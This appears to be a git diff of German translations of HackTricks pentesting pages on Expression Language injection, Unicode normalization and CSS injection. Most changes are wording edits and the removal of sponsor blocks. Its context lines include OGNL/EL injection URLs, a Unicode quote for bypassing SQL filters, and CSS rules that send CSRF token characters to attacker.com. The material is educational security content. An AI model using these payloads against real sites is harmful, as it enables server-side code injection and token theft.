innerhalb von JSP-Seiten. @@ -39,10 +25,10 @@ Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsenta **Verwendungskontexte**: -* **Spring Framework**: In verschiedenen Modulen wie Sicherheit und Daten angewendet. -* **Allgemeine Nutzung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala. +* **Spring Framework**: Wird in verschiedenen Modulen wie Sicherheit und Daten angewendet. +* **Allgemeine Verwendung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala. -EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp`- oder `.jsf`-Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Die Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein. +EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch `.jsp` oder `.jsf` Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Ihre Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein. {% hint style="info" %} Je nach **EL-Version** können einige **Funktionen** **ein** oder **aus** sein und normalerweise können einige **Zeichen** **nicht erlaubt** sein. @@ -135,7 +121,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2 #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL ``` -* Schlafen Sie 10 Sekunden +* Schlaf 10 Sekunden ```bash #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} @@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https:// * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) * [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/unicode-injection/unicode-normalization.md b/pentesting-web/unicode-injection/unicode-normalization.md index fd3f79115..f9faa4cc9 100644 --- a/pentesting-web/unicode-injection/unicode-normalization.md +++ b/pentesting-web/unicode-injection/unicode-normalization.md @@ -15,20 +15,6 @@ Lerne & übe GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - **Dies ist eine Zusammenfassung von:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Schau dir weitere Details an (Bilder dort entnommen). ## Verständnis von Unicode und Normalisierung @@ -48,7 +34,7 @@ Das Verständnis der Unicode-Codierung ist entscheidend, insbesondere im Umgang * **Byte-Darstellung**: Der Codepunkt (oder das Zeichen) wird im Speicher durch ein oder mehrere Bytes dargestellt. Zum Beispiel werden LATIN-1-Zeichen (häufig in englischsprachigen Ländern) mit einem Byte dargestellt. Sprachen mit einem größeren Zeichensatz benötigen jedoch mehr Bytes zur Darstellung. * **Codierung**: Dieser Begriff bezieht sich darauf, wie Zeichen in eine Reihe von Bytes umgewandelt werden. UTF-8 ist ein verbreiteter Codierungsstandard, bei dem ASCII-Zeichen mit einem Byte und bis zu vier Bytes für andere Zeichen dargestellt werden. * **Datenverarbeitung**: Systeme, die Daten verarbeiten, müssen sich der verwendeten Codierung bewusst sein, um den Byte-Stream korrekt in Zeichen umzuwandeln. -* **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit einem Minimum von 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen). +* **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit mindestens 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen). Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu handhaben und zu mindern. @@ -66,9 +52,9 @@ Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85% ## **Anfällige Beispiele** -### **SQL Injection-Filter umgehen** +### **SQL Injection Filter umgehen** -Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage wird die Eingabe des Benutzers mit **Unicode** **normalisiert**. +Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage, **normalisiert** sie die Eingabe des Benutzers mit **Unicode**. Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQLInjection-Schwachstelle** tritt auf: @@ -116,9 +102,9 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als: ### Fuzzing Regexes -Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL **normalisieren**, aber dann **darauf zugreifen, wie sie ist**. +Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete **URL** **normalisieren**, aber dann **so verwenden, wie sie ist**. -Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/). +Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen überprüfen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/). ## Referenzen @@ -126,18 +112,6 @@ Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermögli * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index ee7f8e4e7..e3811ec8f 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -6,22 +6,15 @@ Lerne & übe GCP Hacking: -Support HackTricks +Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## CSS Injection @@ -40,9 +33,9 @@ input[name=csrf][value^=9]{ background-image: url(https://attacker.com/exfil/9); } ``` -Jedoch stößt dieser Ansatz auf eine Einschränkung, wenn es um versteckte Eingabeelemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden. +Allerdings stößt dieser Ansatz auf eine Einschränkung, wenn es um versteckte Eingabeelemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden. -#### Umgehung für Versteckte Elemente +#### Umgehung für versteckte Elemente Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mit dem `~` allgemeinen Geschwisterkombinator anvisieren. Die CSS-Regel wird dann auf alle Geschwister angewendet, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird: ```css @@ -50,7 +43,7 @@ input[name=csrf][value^=csrF] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen. +Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert beschrieben. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen. #### Voraussetzungen für CSS-Injection @@ -58,7 +51,7 @@ Damit die CSS-Injection-Technik effektiv ist, müssen bestimmte Bedingungen erf 1. **Payload-Länge**: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die gestalteten Selektoren unterzubringen. 2. **CSS-Neubewertung**: Sie sollten die Fähigkeit haben, die Seite einzurahmen, was notwendig ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen. -3. **Externe Ressourcen**: Die Technik geht von der Möglichkeit aus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein. +3. **Externe Ressourcen**: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein. ### Blinder Attributselektor @@ -92,15 +85,15 @@ Anstatt die gleiche Seite immer wieder mit Dutzenden von verschiedenen Payloads 1. Der Server des Angreifers wird diese Anfrage noch nicht beantworten, da wir einige Zeichen leaken und dann diesen Import mit der Payload beantworten wollen, um die nächsten zu leaken. 3. Der zweite und größere Teil der Payload wird ein **Attributselektor-Leakage-Payload** sein. 1. Dies wird an den Server des Angreifers das **erste Zeichen des Geheimnisses und das letzte** senden. -4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den in Schritt 2 angeforderten Import beantworten**. -1. Die Antwort wird genau die gleiche sein wie die **Schritte 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden. +4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den Import, der in Schritt 2 angefordert wurde, beantworten**. +1. Die Antwort wird genau die gleiche sein wie in den **Schritten 2, 3 und 4**, aber diesmal wird sie versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden. Der Angreifer wird **diesen Loop fortsetzen, bis es ihm gelingt, das Geheimnis vollständig zu leaken**. Sie können den ursprünglichen [**Code von Pepe Vila, um dies auszunutzen, hier finden**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder Sie können fast den [**gleichen Code, aber kommentiert, hier finden**.](./#css-injection) {% hint style="info" %} -Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge wie: +Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge zu tun wie: ```css /* value^= to match the beggining of the value*/ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} @@ -157,7 +150,7 @@ font-family: 'poc'; ``` 1. **Verwendung von benutzerdefinierten Schriftarten**: - Eine benutzerdefinierte Schriftart wird mit der Regel `@font-face` innerhalb eines `